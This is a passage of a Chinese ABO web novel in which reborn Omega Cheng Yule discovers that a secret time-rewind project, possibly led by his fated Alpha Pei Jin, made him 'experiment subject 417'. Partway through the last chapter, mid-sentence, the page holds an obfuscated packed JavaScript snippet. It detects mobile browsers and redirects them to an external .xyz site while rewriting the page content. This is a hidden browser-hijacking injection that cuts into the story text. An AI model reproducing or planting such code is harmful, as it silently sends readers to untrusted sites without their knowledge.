程予乐后颈腺体突突跳动,甜橙信息素不受控制地溢出。两种气息在空中交融,竟形成那种独特的"冬日烤橙"香气。裴瑾的力道明显松动了。 "我只是...想帮你。"程予乐轻声说,"你父亲爱你,但不懂表达。你也是。" 裴瑾松开手,眼神复杂:"为什么帮我?" "因为..."程予乐鼓起勇气,"我觉得我们可能是命定伴侣。" 空气瞬间凝固。裴瑾的表情像是被雷劈中,耳尖红得滴血。 "胡说什么..."Alpha声音沙哑,"匹配度再高也不代表..." "那你解释下这个?"程予乐指向空气中仍未散去的交融信息素,"普通AO的匹配度能达到这种效果吗?" 裴瑾沉默。科学上,信息素自发融合的现象极为罕见,通常只出现在匹配度90%以上的伴侣间。 "周一下午三点,你父亲会在董事会议室。"程予乐趁热打铁,"带上你的解决方案。" 回程的公交上,两人各怀心事。程予乐望着窗外飞逝的景色,思绪飘远——前世这场做空危机让裴氏股价暴跌30%,裴瑾父亲因此住院,间接导致后来裴瑾被迫联姻... 一只温暖的手突然覆上他冰凉的手指。程予乐惊讶转头,裴瑾依旧望着窗外,仿佛那只摘掉手套的手不是他的。 "手这么凉。"Alpha语气生硬,"...别感冒了。" 程予乐心头一暖,翻转手掌与他十指相扣。裴瑾僵了僵,但没有抽回。 周一午休,程予乐正往嘴里塞三明治,教室广播突然响起:"高三(7)班裴瑾同学,请立即到校长办公室。" 周浩凑过来:"听说裴瑾他爸来了,脸色超难看!" 程予乐看了眼手表——2:40,比他预想的早。他悄悄溜出教室,直奔行政楼。 校长办公室门虚掩着,裴父的怒吼清晰可闻:"...现在才说有什么用!董事会已经...什么?第三方检测?" 程予乐贴在墙边,听见裴瑾冷静的声音:"环保数据被做了手脚,我对比过原始记录。现在联系SGS还来得及..." "你什么时候懂这些了?"裴父语气诧异。 "我一直都懂。"裴瑾的声音带着程予乐从未听过的坚定,"只是您从不问我。" 一阵沉默。程予乐忍不住探头,透过门缝看到裴父拍了拍儿子肩膀,这个简单的动作让Alpha挺直的背脊微微发颤。 "去做吧。"裴父长叹,"用我的权限。" 裴瑾转身时,目光恰好与门外的程予乐相遇。琥珀色瞳孔微微扩大,随即闪过一丝程予乐读不懂的情绪。 放学后,程予乐在校门口被一股力道拽进小巷。裴瑾将他抵在墙上,呼吸粗重:"蓝海资本的事,你是怎么知道的?" "我说过——" "别再说那些穿越重生的鬼话。"裴瑾逼近,雪松气息笼罩下来,"西区项目泄密足以构成商业犯罪。" 程予乐咬唇。头痛又开始隐隐发作,这次伴随着奇怪的耳鸣。他眼前闪过更多碎片——前世的财经新闻、裴瑾办公室里的文件、咖啡杯上的LOGO... "裴瑾..."他声音发虚,"如果我说,我有时能看到未来片段,你信吗?" Alpha眯起眼睛,显然不信。 "好吧,其实是我表哥在蓝海工作。"程予乐临时编故事,"他喝醉说漏嘴的。" 裴瑾审视着他,突然伸手抚上他额头:"你在发烧。" "啊?"程予乐这才发现自己浑身发烫,后颈腺体突突跳动,"可能...易感期快到了?" "Omega没有易感期。"裴瑾皱眉,"是信息素紊乱。" 他利落地脱下外套裹住程予乐,一把将人抱起。程予乐惊呼一声,甜橙信息素因为惊吓疯狂外溢。 "放我下来!被人看到..." "闭嘴。"裴瑾大步走向停车场,"你需要医生。" 被塞进豪华跑车副驾时,程予乐迷迷糊糊地想——前世他可不知道裴瑾高中就有驾照。雪松气息萦绕在密闭车厢里,与甜橙味交融成安神的香气。他眼皮越来越沉,最后记得的,是裴瑾替他系安全带时,指尖擦过他发烫的腺体,引起一阵战栗。 "坚持住。"Alpha的声音仿佛从很远的地方传来,"我们马上就到。" 程予乐想回答,但黑暗如潮水般涌来。在彻底失去意识前,他仿佛又看到前世那个站在他墓前、孤独的裴瑾。 这一次,不会让你一个人了。他想着,坠入深眠。 ---易感期 消毒水的气味刺入鼻腔,程予乐皱起眉头,意识像被裹在棉花里。耳边隐约传来电子仪器规律的"滴滴"声,还有...雪松的气息? "醒了?" 低沉嗓音从右侧传来。程予乐费力地睁开眼,视线聚焦在裴瑾疲惫的脸上——Alpha眼下挂着明显的青黑,银白发丝凌乱地支棱着,校服外套皱巴巴的,显然一夜未眠。 "我...在医院?"程予乐声音嘶哑。 裴瑾递来一杯温水,手套不知何时摘掉了,修长手指上有一圈明显的牙印——程予乐认出那是自己手表表带的压痕,看来裴瑾一直握着他的手。 "裴氏私立医院。"裴瑾语气平淡,但信息素出卖了他——雪松香气中那缕烈酒味道变得浓重,是Alpha情绪波动的表现,"你昏迷了18小时。" 程予乐猛地坐起,随即被眩晕击中。裴瑾一把扶住他肩膀:"别乱动。林医生说你的脑电波有异常活动,像是..."他顿了顿,"过度思考导致的神经疲劳。" 程予乐心头一跳。果然,频繁使用前世记忆是有代价的。 "我父亲想见你。"裴瑾突然说。 "啊?"程予乐差点打翻水杯,"为什么?" "你预知的商业危机救了裴氏。"裴瑾眼神复杂,"他很好奇一个高中生怎么会知道连董事会都没察觉的风险。" 程予乐背后沁出冷汗。这下玩大了,他根本没想好怎么向裴瑾父亲解释。 "我拒绝了。"裴瑾起身拉上窗帘,阳光透过百叶窗在他脸上投下斑驳阴影,"说你还需要休息。" 程予乐松了口气,随即意识到什么:"你...在保护我?" 裴瑾背对着他,肩线明显僵硬了一瞬:"别自作多情。只是嫌麻烦。" 典型的裴式嘴硬。程予乐偷笑,不小心牵动输液管,疼得"嘶"了一声。 "白痴。"裴瑾转身,动作却轻柔地调整好输液速度,"林医生说再晚送来半小时,你的信息素紊乱就可能引发假性发情。" 程予乐耳根一热。假性发情是Omega在极端压力下出现的症状,通常需要Alpha信息素安抚... "所以,"他故意转移话题,"是你抱我来的医院?" 裴瑾的耳尖以肉眼可见的速度变红:"闭嘴。" 程予乐正想继续调侃,病房门突然被推开。一位穿白大褂的年轻医生走进来,金丝眼镜后的眼睛微微眯起:"哟,醒了?" "林医生。"裴瑾点头示意。 程予乐打量着这位医生——三十出头,长相斯文,但镜片后的眼神让他莫名不适,像是被X光扫描一般。 "程同学是吧?"林医生翻开病历,"能告诉我昏迷前看到了什么吗?" "就...头晕,眼前发黑。"程予乐谨慎地回答。 "没有记忆闪回?或者时空错乱感?" 程予乐心跳漏了一拍:"为什么这么问?" 林医生微笑:"职业习惯。你这种病例很特殊,脑电波显示你在昏迷中经历了类似濒死体验的高频活动。" 裴瑾突然插话:"什么意思?" "简单说,他的大脑活动像是..."林医生斟酌用词,"重新经历了一些事情。" 程予乐指尖发凉。这位医生难道察觉了什么?重生这种事说出来会被当成精神病吧? "只是猜测。"林医生合上病历,"建议留院观察两天。对了裴瑾,你的易感期快到了吧?记得按时注射抑制剂。" 裴瑾冷淡地"嗯"了一声。程予乐却敏锐地注意到Alpha后颈的阻隔贴边缘有些卷边——通常这意味着腺体活动加剧。 医生离开后,病房陷入沉默。程予乐偷瞄裴瑾,发现对方正盯着自己的输液管发呆,琥珀色瞳孔微微扩大,像是进入某种恍惚状态。 "裴瑾?" Alpha猛地回神,雪松气息突然变得浓烈。他站起身,动作有些僵硬:"我出去一下。" 程予乐敏锐地捕捉到异常——裴瑾起身时扶了下床头柜,指节发白,呼吸也比平时急促。这不像普通的疲惫... 一个念头闪过:Alpha易感期! "等等!"程予乐一把抓住裴瑾手腕,立刻感受到不正常的体温,"你是不是..." "放手。"裴瑾声音沙哑得可怕,"现在。" 程予乐反而握得更紧。前世他看过报道,裴瑾的易感期极其危险,曾因失控砸毁过整个办公室。但现在,他闻到的不是暴戾的信息素,而是雪松中混杂着...不安? "你需要抑制剂。"程予乐试图下床,"我陪你去拿。" "别动!"裴瑾突然低吼,雪松气息如浪潮般席卷整个病房。程予乐后颈腺体一阵刺痛,甜橙信息素不受控制地溢出。 两种气息在空中碰撞,却没有像往常那样融合。裴瑾的信息素像暴风雪中的松林,尖锐而混乱。Alpha双目泛红,太阳穴青筋暴起,显然在极力克制。 程予乐突然明白过来——裴瑾不是不想用抑制剂,而是不能。易感期的Alpha会变得极度依赖伴侣信息素,普通抑制剂效果大减。 "让我帮你。"他轻声说,缓慢靠近,"相信我。" 裴瑾后退抵在墙上,声音破碎:"你会受伤...易感期的Alpha...控制不住..." "那就别控制。"程予乐伸手抚上裴瑾发烫的脸颊,释放出更多甜橙信息素,"我是你的Omega,记得吗?" 这句话像打开了某个开关。裴瑾猛地将他拉入怀中,鼻尖深深埋进Omega颈窝,贪婪地呼吸着甜橙香气。程予乐被勒得生疼,但没挣扎,反而轻轻拍打Alpha紧绷的后背。 "没事的...我在这里..." 渐渐地,暴风雪般的信息素开始平息。裴瑾的呼吸从急促变得深长,双臂力道也放松了些。程予乐感到颈间有湿热的触感——裴瑾在舔他的腺体! Omega本能地想逃,但强行忍住。Alpha在易感期会本能地标记伴侣,这是生理反应,不代表... "程予乐。"裴瑾突然开口,声音低沉沙哑,"我们去做匹配度检测。" "现在?"程予乐哭笑不得,"你还在易感期..." "就现在。"裴瑾稍稍退开,琥珀色眼睛仍带着易感期的浑浊,但已经恢复了些许清明,"普通AO的信息素不可能安抚易感期。除非..." 除非匹配度极高。程予乐心跳加速。前世他直到死都不知道自己和裴瑾的匹配度具体数值,只知道很高。 "好。"他点头,"但你先得打一针抑制剂。" 半小时后,注射过抑制剂的裴瑾状态稳定多了。他带着程予乐悄悄溜出病房,来到医院顶层的私人实验室。 "这是..." "裴氏的医疗研发中心。"裴瑾输入密码,"我父亲不知道我有权限。" 实验室中央有台银色仪器,形状像太空舱。裴瑾示意程予乐躺进去:"信息素匹配度分析仪,最新型号。" "你经常带Omega来检测?"程予乐忍不住酸溜溜地问。 裴瑾冷笑:"你是第一个。" 舱门关闭,程予乐感到细微的针刺感从后颈传来。仪器开始工作,分析他的信息素成分。透过玻璃,他看到裴瑾在另一台仪器中进行同样操作。 十分钟后,显示屏亮起计算结果。 【信息素匹配度:99%】 【相容性:极优】 【备注:罕见命定伴侣反应,建议终身标记】 程予乐瞪大眼睛。99%!这几乎是理论上的最高值。前世医学期刊说过,匹配度超过95%的伴侣,光是信息素交融就能产生快感... 舱门打开,裴瑾站在外面,表情复杂得难以解读。程予乐刚想说话,Alpha突然单膝跪地,抓住他的手按在自己后颈——那里,腺体正发烫跳动。 "闻到了吗?"裴瑾声音低沉,"它在呼唤你。" 程予乐指尖发颤。Alpha主动暴露腺体是极度臣服的姿态,更别说裴瑾这样高傲的人。甜橙信息素不自觉地溢出,与雪松香气交融,形成那种独特的"冬日烤橙"气息。 "现在,"裴瑾仰头看他,琥珀色眼睛在实验室冷光下如同融化的蜜糖,"告诉我真相。你到底是谁?" 程予乐张口欲言,警报声突然响彻整个楼层。 "警告:检测到Alpha易感期波动。警告:建议立即隔离..." 裴瑾咒骂一声,额头渗出冷汗。看来抑制剂效果开始减退。程予乐急忙扶住他:"我们得回病房。" 返程的电梯里,裴瑾靠在他肩上,呼吸粗重。程予乐心疼地发现,即使在这种状态下,Alpha依然在极力控制信息素,生怕伤到他。 "别忍了。"他轻抚裴瑾后背,"对我释放信息素没关系。" 裴瑾摇头,声音沙哑:"会...诱发你的发情期..." 程予乐心头一热。这个人,自己都难受成这样了还在为他考虑。 回到病房,林医生已经等在里面,脸色严肃:"裴瑾,你父亲找你。"他看了眼两人交握的手,"看来你们检测完了?" 裴瑾挡在程予乐前面:"不关你事。" "99%,对吧?"林医生微笑,"我猜也是。这种程度的匹配度,几十年都见不到一例。" 程予乐背后发凉。这个医生怎么会知道? "董事长在顶楼等你。"林医生对裴瑾说,"关于西区项目的后续处理。" 裴瑾明显不想离开,但程予乐轻轻推他:"去吧,我没事了。" Alpha犹豫片刻,从口袋里掏出一个小瓶塞进程予乐手中:"特制抑制剂,有任何不适立刻用。" 程予乐点头。裴瑾又警告性地瞪了林医生一眼才离开。 房门关上后,林医生的笑容渐渐消失:"程同学,我们得谈谈。" "谈什么?" "关于你那些''预知''能力。"林医生推推眼镜,"还有,你为什么会对裴家这么了解。" 程予乐握紧抑制剂瓶子,心跳如鼓。这个医生知道多少? "我不知道你在说什么。" "是吗?"林医生从平板调出一份资料,"过去两周,你准确预言了三次考试题目、一场篮球赛比分,还有裴氏的做空危机。"他眯起眼睛,"更奇怪的是,你对裴瑾的了解——包括他从不对外透露的疤痕、饮食习惯,甚至心悸症。" 程予乐喉咙发干。他被监视了?还是... "放心,裴瑾不知道这些。"林医生仿佛读心,"但我作为裴家的私人医生,有责任排查潜在威胁。" "我不是威胁。" "那就解释清楚。"林医生逼近,"你接近裴瑾,到底有什么目的?" 程予乐正想反驳,一阵剧痛突然刺穿太阳穴。他闷哼一声蜷缩起来,眼前闪过无数碎片——前世的办公室、新闻报道、裴瑾站在墓前的背影... "程予乐?"林医生声音突然变得遥远,"你怎么了?" 疼痛如潮水般退去,留下一片空白。程予乐恍惚间看到自己手腕上的监护环亮起红灯——生命体征异常。 在彻底陷入黑暗前,他听到林医生对着通讯器急促地说:"准备镇静剂,实验体出现排斥反应..." 实验体?什么实验体... 意识沉入深海。 ---实验体编号417 刺眼的白光。程予乐皱起眉头,意识像被裹在层层纱布里。耳边传来模糊的对话声: "...排斥反应加剧..." "...记忆区异常活跃..." "...董事长知道吗..." 程予乐努力撑开沉重的眼皮,视线里出现陌生的天花板——不是医院病房,而是一个类似实验室的地方。他试图动弹,却发现手腕和脚踝被柔软的束缚带固定在一张金属床上。 "醒了?"一张熟悉的脸进入视野。林医生依旧戴着那副金丝眼镜,但白大褂换成了深蓝色防护服,笑容里带着程予乐从未见过的冰冷。 "这是哪里?"程予乐声音嘶哑,"为什么绑着我?" 林医生没有直接回答,而是对着耳麦说:"实验体417已恢复意识,准备进行第二阶段评估。"然后才转向程予乐:"别紧张,只是些必要措施。毕竟你的...状况比较特殊。" 程予乐挣扎了一下,束缚带纹丝不动。甜橙信息素本能地溢出,却像撞上一堵无形的墙——这个空间有信息素阻隔系统。 "放轻松。"林医生在平板电脑上记录着什么,"告诉我,你还记得自己是怎么''重生''的吗?" 程予乐浑身血液瞬间冻结。重生?林医生怎么会知道? "不明白你在说什么。"他强作镇定。 林医生轻笑一声,调出一段全息影像——30岁的程予乐躺在车祸现场,鲜血从额角汩汩流出。画面切换到一个实验室,同样是他,但身体完好无损地漂浮在某种液体中,数十根管线连接着他的头部和脊柱。 "时空回溯计划,裴氏集团秘密资助了十年。"林医生语气平淡得像在讨论天气,"筛选濒死者意识上传,寻找能够适应时空跳跃的载体。"他俯身,镜片反射冷光,"而你,是唯一成功的实验体。" 程予乐胸口剧烈起伏。那些闪回的记忆碎片、莫名的头痛、信息素紊乱...一切都有了解释。他不是自然重生,而是被"上传"回了过去! "为什么是我?"他艰难地问。 "高兼容性Omega基因,加上濒死时强烈的求生意志。"林医生推推眼镜,"当然,还有一点运气。417次尝试,只有你成功锚定了时间节点。" 程予乐突然想到什么:"裴瑾知道吗?" 林医生表情微妙地变了:"裴少爷当然不知情。这个项目只有董事长和核心团队掌握。"他顿了顿,"直到你开始接近裴瑾。" "所以那些''巧合''..."程予乐恍然大悟,"匹配度检测、突然出现的抑制剂...都是你们安排的?" "我们只是加快了进程。"林医生微笑,"99%的匹配度是真实的,命定伴侣也是。科学上称之为''量子纠缠态''——即使时空重置,你们的灵魂依然会找到彼此。" 程予乐心头一震。所以前世他与裴瑾确实注定相遇,只是阴差阳错错过了? "现在问题来了。"林医生突然沉下脸,"你的记忆区活跃度超出预期,正在影响实验数据。更糟的是,你让裴瑾偏离了既定轨迹。" "既定轨迹?" "联姻。商业联盟。"林医生冷笑,"裴氏继承人的婚姻从来不是儿戏。董事长已经选好了合适的Omega,匹配度82%,足够生育优质后代。" 程予乐如坠冰窟。前世裴瑾后来确实与某财阀千金联姻,但报道说那是一场纯粹的利益交换... "所以我是多余的?"他声音发抖。 "本来是。"林医生调出一份文件,"但99%的匹配度...科学上太珍贵了。董事长同意给你一次机会:清除记忆,作为普通Omega留在裴瑾身边。当然,永远不能透露实验的事。" 程予乐剧烈挣扎起来:"休想!" "由不得你。"林医生按下墙上的按钮,天花板降下一个头盔状的装置,"轻度电击配合药物,只会抹去特定时间段的记忆。你会记得自己是裴瑾的命定伴侣,只是不记得这个身份是怎么来的。" 头盔扣下的瞬间,程予乐绝望地闭上眼睛。要忘记吗?忘记重生,忘记前世,忘记那些拼命改变命运的努力?如果连为什么珍惜都不知道,那这份感情还有什么意义? "等等!"他急中生智,"清除记忆会影响信息素匹配度!你们确定裴瑾会接受一个''不完整''的Omega?" 林医生动作一顿。这显然触及了他的专业盲区。 趁他犹豫,程予乐继续道:"而且裴瑾已经怀疑了。如果我突然失去部分记忆,他一定会追查到底。" 林医生皱眉,显然在权衡利弊。就在这时,实验室突然响起刺耳的警报声。 "警告:Alpha级信息素入侵。警告:安全协议失效..." "该死!"林医生冲向监控屏,脸色大变,"他怎么找到这里的?" 程予乐心头一跳——是裴瑾!雪松混着烈酒的气息已经开始渗入实验室,即使有阻隔系统也能闻到。Alpha的信息素狂暴而混乱,显然是易感期加极度愤怒的状态。 "立刻准备镇静剂!"林医生对着通讯器大喊,随即转向程予乐,"看来你的Alpha比我们预估的...执着。" 金属门发出不堪重负的"吱嘎"声,整个实验室都在震动。程予乐既欣喜又担忧——裴瑾的易感期还没结束,这样强行释放信息素会加重心脏负担... "砰!" 一声巨响,门被硬生生撞开。裴瑾站在门口,校服凌乱,银白发丝被汗水浸湿贴在额前,琥珀色瞳孔缩成针尖大小。他的信息素如暴风雪般席卷整个实验室,几个工作人员当场腿软倒地。 "放.开.他。"每个字都像从牙缝里挤出来的。 林医生举起双手:"裴少爷,冷静。这是董事长的命令..." 裴瑾根本不理他,径直走向程予乐,徒手扯断束缚带。程予乐刚获得自由就被紧紧搂住,Alpha的鼻尖深深埋进他颈窝,贪婪地呼吸着甜橙信息素。 "没事了..."程予乐轻抚裴瑾后背,感受到对方剧烈的心跳,"我没事。" 裴瑾抬起头,眼神依然混沌,但已经恢复了些许清明。他脱下外套裹住程予乐,转身将人护在身后,直面林医生:"告诉父亲,再有下次,西区项目的所有数据会立刻出现在竞争对手的邮箱里。" 林医生脸色煞白。西区项目是裴氏的核心机密,一旦泄露... "你父亲不会原谅这种背叛。"林医生试图挽回局面。 裴瑾冷笑,手指与程予乐十指相扣:"我早就没什么可失去的了。" 回程的车里,裴瑾一言不发,只是死死握着方向盘,指节发白。程予乐偷偷看他——Alpha下巴紧绷,后颈的阻隔贴已经被信息素浸透,显然状态极不稳定。 "你...怎么找到我的?"程予乐小声问。 "手环。"裴瑾简短回答,"有定位功能。" 程予乐这才注意到自己手腕上不知何时多了一个银色手环,内侧刻着P&Y——裴瑾和他姓氏的首字母。 "什么时候戴上的?" "你第一次昏迷时。"裴瑾声音沙哑,"怕你再出事。" 程予乐心头一热。所以这段时间裴瑾一直在暗中保护他。 "林医生说的那些...你听到了多少?" 裴瑾猛地踩下刹车,跑车停在路边。他转向程予乐,眼神复杂:"足够多。"他深吸一口气,"所以你真的...来自未来?" 程予乐咬唇点头。事到如今,隐瞒已经没有意义。 "证明给我看。" 程予乐思索片刻:"明年三月,裴氏会收购星辉科技,股价大涨40%。但六个月后爆出财务造假丑闻,你父亲因此住院。"他顿了顿,"还有...2025年4月12日,你会站在我的墓前,手里拿着两张《星际穿越》的电影票。" 裴瑾瞳孔骤缩。电影票的事只有他自己知道——那是他计划下个月约程予乐去看的。 "所以在前世..."裴瑾声音发紧,"我们错过了?" 程予乐点头,眼眶发热:"直到我死,都不知道你是我的命定Alpha。" 裴瑾突然将他拉入怀中,力道大得几乎让人窒息。雪松信息素温柔地包裹住Omega,与甜橙交融成安心的气息。 "不会再错过了。"Alpha的声音闷在程予乐肩头,"我保证。" 程予乐突然想起什么:"但你父亲...联姻的事..." 裴瑾身体一僵,缓缓松开他:"我会处理。" "怎么处理?"程予乐追问,"用西区项目威胁?那不是杀敌一千自损八百吗?" 裴瑾沉默。程予乐知道他说中了——前世裴瑾确实用类似手段反抗过家族,结果两败俱伤。 "我有更好的办法。"程予乐握住裴瑾的手,"你父亲最在乎什么?" "公司利益。" "那我们就证明,我们的结合最符合裴氏利益。"程予乐眼中闪烁着前世的智慧,"99%的匹配度意味着什么?超高的后代质量,稳定的继承人基因,还有..."他凑近裴瑾耳边,"我能预知未来的商业风险。" 裴瑾眸光一闪。确实,如果程予乐真的来自未来,他的"预知"能力将是裴氏最强大的武器。 "需要计划。"Alpha终于露出一丝笑意,"不过现在..."他突然闷哼一声,额头抵在程予乐肩上,"易感期...还没结束..." 程予乐这才注意到裴瑾浑身滚烫,信息素又开始不稳定。他急忙翻找车里的抑制剂:"打一针?" 裴瑾摇头,抓住程予乐的手按在自己后颈:"需要...你的信息素..." 这是Alpha最脆弱的姿态——主动索求Omega的信息素安抚。程予乐心头一软,释放出更多甜橙香气,同时轻轻揉捏裴瑾发烫的腺体。 Alpha发出满足的叹息,将人搂得更紧。两人信息素在密闭车厢里交融,形成那种独特的"冬日烤橙"香气。 "回家?"程予乐轻声问。 裴瑾点头,重新发动车子。程予乐靠在他肩上,望着窗外飞逝的景色,思绪万千。现在裴瑾知道了真相,但更大的挑战还在前面——裴父不会轻易放弃,林医生和那个"时空回溯计划"也疑点重重... 最让他不安的是,随着使用前世记忆的次数增加,头痛和昏迷也越来越频繁。如果继续这样下去,他的身体能撑到改变命运的那天吗? 手机突然震动。程予乐掏出来一看,是条陌生号码发来的短信: 【你以为他是真的在乎你?不过是在执行实验观察任务罢了。想知道真相,明天下午3点,图书馆见。——一个朋友】 程予乐手指一颤,迅速锁屏。裴瑾侧头看他:"怎么了?" "没...没事。"程予乐勉强笑笑,"周浩问我作业。" 他假装望向窗外,心跳如鼓。是谁发来的短信?林医生的同伙?还是...另一个实验体? 无论如何,他必须弄清楚这个"时空回溯计划"的全部真相。即使代价是...再次失去。 实验体与研究员 手机屏幕在黑暗中亮得刺眼。程予乐第三次读那条短信,指尖微微发抖。 【你以为他是真的在乎你?不过是在执行实验观察任务罢了。想知道真相,明天下午3点,图书馆见。——一个朋友】 床头的闹钟显示凌晨2:18,裴瑾的呼吸声从身后传来,平稳而深沉。Alpha即使在睡梦中也不忘将他圈在怀里,鼻尖抵着他的后颈,仿佛连潜意识都在汲取甜橙信息素的味道。 程予乐轻轻挪开裴瑾的手臂,翻身下床。脚底接触到冰凉地板时,他忍不住回头——月光透过窗帘缝隙,在裴瑾脸上投下斑驳光影。那张平日里冷峻的脸此刻竟有几分稚气,银白发丝散在额前,睫毛投下细密的阴影。 这样一个人,会是某种实验的执行者吗? 书房里,程予乐打开笔记本电脑,调出裴氏集团的公开资料。搜索"时空回溯计划",一无所获。这并不意外——如果真是秘密项目,肯定不会公开。 他转而搜索林医生的背景。林锐,35岁,神经科学博士,五年前加入裴氏医疗研究中心,专攻信息素与记忆关联研究...等等,这个论文题目? 《量子态信息素在时空锚定中的应用》发表于三年前,合作者是...程予乐瞪大眼睛——J. Pei。 J. Pei。裴瑾。 鼠标滚轮疯狂下滑。更多联合发表的论文,更多合作研究。最近一篇是去年底的《命定伴侣匹配度对时空回溯成功率的影响》,第一作者赫然是裴瑾,林锐只是第二作者。 程予乐胃部一阵绞痛。所以裴瑾不仅知道这个计划,还是核心研究员?那他们的相遇... "睡不着?" 低沉嗓音从身后传来,程予乐猛地合上笔记本。裴瑾靠在门框上,睡袍松散地系着,露出锁骨处一道淡色疤痕。Alpha的琥珀色瞳孔在黑暗中微微发亮,像某种夜行动物。 "有点头疼。"程予乐勉强笑笑,"吵醒你了?" 裴瑾走近,自然地伸手抚上他太阳穴:"又闪回了?"指尖力道适中地按揉着,雪松信息素温柔地包裹住他,"要不要吃药?" 曾经让程予乐安心的触碰此刻却如坐针毡。他躲开裴瑾的手:"不用了,我...我回床上睡。" 裴瑾的手悬在半空,眉头微蹙:"怎么了?" "没什么。"程予乐起身,突然一阵眩晕袭来。眼前闪过陌生画面——白色实验室,裴瑾穿着白大褂,手里拿着平板记录数据,冷静得近乎冷酷的声音:"实验体417表现如何?" "程予乐!" 现实中的呼唤将他拉回。裴瑾扶住他摇晃的身体,眼中是真实的担忧:"你脸色很差。" 程予乐挣开他的手:"真的没事。" 回到床上,他背对裴瑾蜷缩起来,心跳如雷。那些闪回的画面是记忆吗?还是幻觉?如果裴瑾真的是研究员,那现在的一切... 一只温暖的手臂环住他的腰,裴瑾的胸膛贴上来,心跳声透过薄薄的睡衣传来。Alpha的呼吸拂过后颈,带着安抚性质的信息素轻柔地笼罩着他。 "睡吧。"裴瑾的声音带着睡意,"我在。" 程予乐闭上眼,泪水无声滑落。 第二天下午2:50,程予乐站在校门口,犹豫不决。裴瑾今天被父亲叫去公司,临行前还叮嘱他放学后直接回家。 "程予乐!"周浩从后面拍他肩膀,"发什么呆呢?篮球赛快开始了!" "你们去吧,我...我去图书馆查点资料。" 图书馆老旧而安静,午后阳光透过彩色玻璃窗投下斑驳光影。程予乐选了最角落的位置坐下,手指不自觉地敲击桌面。 2:58。3:00。3:05... "久等了。" 对面椅子被拉开,一个穿连帽衫的男生坐下,帽子压得很低,看不清脸。但信息素味道很特别——雨后青苔的气息,是个Beta。 "你是谁?"程予乐压低声音。 对方推来一部手机,屏幕上显示着裴氏医疗中心的内部文件: 【项目名称:时空回溯计划】 【首席研究员:裴瑾】 【实验体编号:417】 【姓名:程予乐】 【状态:已成功锚定2013年时间节点】 程予乐手指发抖,胃部像被重击:"这...这能证明什么?" "证明你只是个实验品。"Beta的声音平静得可怕,"从始至终都是。" 他又滑出几张照片——前世的程予乐躺在车祸现场;实验室里漂浮在液体中的躯体;最可怕的是,裴瑾穿着白大褂站在操作台前,面无表情地记录数据。 "不..."程予乐摇头,太阳穴突突跳动,"这不可能..." "还有更精彩的。"Beta调出一段视频。画面中,林医生正在汇报:"实验体417已成功接近目标,匹配度测试结果99%,符合预期。裴研究员,是否按计划推进?" 镜头转向坐在阴影中的人——裴瑾。银白发丝,琥珀色瞳孔,耳垂上的银钉,与现在的他一模一样。Alpha微微颔首:"继续观察。" 视频结束。程予乐猛地站起,椅子在地面刮出刺耳声响。几个学生不满地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353488|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,他充耳不闻,跌跌撞撞冲向洗手间。 镜中的自己面色惨白,额角渗出冷汗。水龙头开到最大,冷水拍在脸上也无法缓解那股灼烧般的痛楚。记忆碎片如潮水般涌来—— 前世办公室里,同事闲聊:"听说裴氏集团那个年轻继承人结婚了?对象是蓝海资本的千金..." 医院走廊,医生摇头:"程先生,您的信息素紊乱已经很严重了,如果有命定Alpha的话..." 车祸前最后一通电话,陌生号码:"程予乐先生吗?关于您与裴瑾的信息素匹配度检测结果..." 每一块碎片都像刀子剜进心脏。程予乐干呕起来,却只吐出几口酸水。 洗手间门被推开,那个Beta悄无声息地出现在他身后。 "还没完。"他递来纸巾,"想知道为什么选你吗?" 程予乐抬头,透过泪眼看到对方拉下帽子——一张陌生又熟悉的脸。杏眼,小雀斑,看起来比他大几岁。 "我是216号实验体。"男生苦笑,"或者说,失败品。我的时空锚点偏差了五年,记忆区完全损毁。"他指向太阳穴,"这里,永远少了点什么。" 程予乐浑身发冷:"你们...有多少人?" "数百个。Omega居多,因为信息素更易锚定时间节点。"216号压低声音,"但只有你成功了,知道为什么吗?" 程予乐摇头。 "因为裴瑾。"216号的眼神变得复杂,"你是唯一一个与研究员本人匹配度超过95%的实验体。他们需要验证,命定伴侣的量子纠缠能否增强时空回溯的稳定性。" "所以这一切..."程予乐声音发抖,"都是实验?" "不全是。"216号犹豫片刻,"裴瑾确实不知道第一次相遇是安排的。但后来...他认出了你。" "什么意思?" "车祸现场。"216号调出另一段视频,"你是他亲自挑选的。" 画面中,30岁的程予乐躺在血泊里。一个男人蹲下身,手指轻触他颈动脉——是裴瑾。Alpha的表情在镜头下异常清晰:那不是看陌生人的眼神,而是...失而复得的狂喜。 "他记得你。"216号轻声说,"从某个时间循环中记得你。" 程予乐头痛欲裂,眼前发黑。太多信息,太多可能性,世界天旋地转。 "最后提醒你。"216号塞给他一张纸条,"林医生背后还有人。裴瑾可能也是棋子。" 程予乐再抬头时,216号已经消失。洗手间只剩他一人,和镜中那个满脸泪痕的陌生自己。 纸条上写着一个地址和一句话:【想找回全部记忆,就来这里。】 裴瑾的电话在这时打来。屏幕上"我的Alpha"四个字此刻讽刺至极。程予乐按下拒接,关机,然后瘫坐在地,抱紧双膝。 原来所谓命定伴侣,不过是实验室里的数据。所谓重生奇迹,不过是精心设计的囚笼。 而那个说"不会再错过"的人,从一开始就没打算放过他。 傍晚6点,程予乐站在裴瑾公寓门前,手里攥着那张纸条。钥匙插进锁孔的声音格外清晰,就像他即将做出的决定一样不可逆转。 门开了。裴瑾站在玄关,银白发丝有些凌乱,像是匆忙赶回来的。雪松信息素中那缕烈酒味道变得浓重——Alpha在焦虑。 "你去哪了?"裴瑾皱眉,"我打了十几个电话。" 程予乐径直走向客厅,把背包里的照片和视频截图摊在茶几上:"解释一下。" 裴瑾的表情瞬间凝固。他拿起一张照片——实验室里穿着白大褂的自己,手指微微发抖。 "这不是..." "不是你?"程予乐冷笑,"耳钉都一样。别告诉我你有个双胞胎兄弟。" 裴瑾的呼吸变得粗重。他放下照片,转向程予乐:"我可以解释。" 